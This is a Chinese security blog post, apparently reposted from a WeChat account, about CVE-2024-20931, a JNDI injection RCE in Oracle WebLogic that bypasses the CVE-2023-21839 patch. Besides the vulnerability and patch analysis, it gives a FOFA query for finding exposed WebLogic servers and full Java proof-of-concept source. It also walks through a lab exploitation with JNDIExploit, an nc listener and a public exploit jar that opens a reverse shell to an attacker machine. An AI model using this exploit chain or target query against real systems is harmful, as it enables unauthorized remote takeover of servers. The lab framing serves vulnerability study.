CVE-2024-20931

admin 2024年2月26日13:54:40评论43 views字数 4057阅读13分31秒阅读模式

使

01漏洞名称

Oracle WebLogic Server 存在JNDI注入漏洞

02漏洞影响

Oracle Fusion Middleware 12.2.1.4.0

Oracle Fusion Middleware 14.1.1.0.0

03漏洞描述

Oracle WebLogic Server是一个用于构建、部署和管理企业级Java应用程序。AQjmsInitialContextFactory 是一个允许应用程序使用JNDI查找方式访问Oracle AQ提供消息服务的工厂类。ForeignOpaqueReference是一个对象,lookup时会调用getReferent函数,进行远程对象查询。

该漏洞是 CVE-2023-21839 漏洞绕过,在AQjmsInitialContextFactory初始化时会通过 JNDI获取远程的 DataSource,当通过反射修改 ForeignOpaqueReference 的 jndiEnvironment 和 remoteJNDIName 属性后,再次远程查询ForeignOpaqueReference对象会导致 JNDI 注入,从而直接接管 Oracle WebLogic Server 来执行未经授权的操作或访问系统敏感信息。

04

FOFA搜索语句

(body="Welcome to WebLogic Server") || (title=="Error 404--Not Found") || (((body="<h1>BEA WebLogic Server" || server="Weblogic" || body="content="WebLogic Server" || body="<h1>Welcome to Weblogic Application" || body="<h1>BEA WebLogic Server") && header!="couchdb" && header!="boa" && header!="RouterOS" && header!="X-Generator: Drupal") || (banner="Weblogic" && banner!="couchdb" && banner!="drupal" && banner!=" Apache,Tomcat,Jboss" && banner!="ReeCam IP Camera" && banner!="<h2>Blog Comments</h2>")) || (port="7001" && protocol=="weblogic")

CVE-2024-20931

05漏洞分析

CVE-2024-20931漏洞原理上属于CVE-2023-21839补丁的绕过。

CVE-2023-21839概述

当Weblogic通过T3IIOP进行绑定的远程对象实现了OpaqueReference接口,那么在对该对象进行lookup时,会调用这个对象的getReferent函数进行查询。

CVE-2024-20931

而碰巧有一个名为ForeignOpaqueReference的对象,它的getReferent函数在进行远程对象查询的时候,会再次发起JNDI查询,从而造成了JNDI注入

CVE-2024-20931

利用步骤大致分为三步(关键步骤均用红框进行了标记),
  1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
  2. 通过T3IIOP协议在WLS上绑定该恶意对象。
  3. 通过lookup查询该恶意对象,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

    CVE-2024-20931

CVE-2023-21839补丁分析

Oracle官方于January 2023对该漏洞进行了修复,补丁内容分为两部分,
第一部分,限制了绑定ForeignOpaqueReference对象时对jndiEnvironment中providerURL的设置,

CVE-2024-20931

第二部分对loopup的JNDI链接的协议也做了比较严格的限制,

CVE-2024-20931

直观上去看,想继续通过ForeignOpaqueReference去做JNDI注入的路已经被堵死了。

但是在java.naming.provider.url为空的情况下,是可以做一下危险操作的

CVE-2024-20931

通过AQjmsInitialContextFactory初始化发起的JNDI注入,就成功达成一种二次JNDI注入,实现了远程的RCE。

06靶场搭建

因为该漏洞本身属于CVE-2023-21839补丁的绕过,所以可以直接使用CVE-2023-21839靶场来验证POC和EXP。可以直接使用vulhub来搭建。

https://github.com/vulhub/vulhub

下载vulhub原本,上传到靶场虚拟机并解压。

cd vulhub/weblogic/CVE-2023-21839docker compose up -d

CVE-2024-20931

启动完成后访问http://your-ip:7001/console可以看到管理界面。

CVE-2024-20931

07poc

该poc是个java程序,内容如下:

package com.supeream;

import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;import javax.naming.InitialContext;import java.lang.reflect.Field;import java.util.Hashtable;

public class CVE_2024_209321 {    public static void main(String[] args) throws Exception {        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext        String url = "t3://127.0.0.1:7001"; // 目标机器        Hashtable env1 = new Hashtable();        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env1.put(Context.PROVIDER_URL, url); // 目标        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性        Hashtable env2 = new Hashtable();        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");        env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性        ForeignOpaqueReference f = new ForeignOpaqueReference();        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f, env2);        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        String ldap = "rmi://127.0.0.1:1099/ygevmj";        remoteJNDIName.set(f, ldap);

        // 远程绑定ForeignOpaqueReference对象        c.rebind("glassy", f);

        // lookup查询ForeignOpaqueReference对象        try {            c.lookup("glassy");        } catch (Exception e) {        }    }}

08

漏洞利用

因为我的kali虚拟机没有java8,所以本次实验涉及到3台机器,一台windows10 运行两个java包,一台centos7虚拟机靶机(192.168.40.130),一台kali虚拟机(192.168.40.128)接收反弹的shell

先下载JNDI工具

https://github.com/WhiteHSBG/JNDIExploit/

CVE-2024-20931

在windows10上运行jar包,启动监听,其中192.168.40.1为windows10的IP

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.40.1

CVE-2024-20931

然后在kali上启动一个监听

nc -lvvp 666 

CVE-2024-20931

github上有个公开的exp,下载并解压

https://github.com/dinosn/CVE-2024-20931

在windows10上运行EXP反弹shell,(根据提手动输入靶场的IP和端口

java -jar CVE-2024-20931.jarPlease input target IP:192.168.40.130Please input target port:7001Please input RMI Address(ip:port/exp):192.168.40.1:1389/Basic/ReverseShell/192.168.40.128/666

CVE-2024-20931

shell反弹成功

CVE-2024-20931

09

修复建议

安装官方补丁。

原文始发于微信公众号(AI与网安):CVE-2024-20931

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日13:54:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-20931https://cn-sec.com/archives/2525871.html

发表评论

匿名网友 填写信息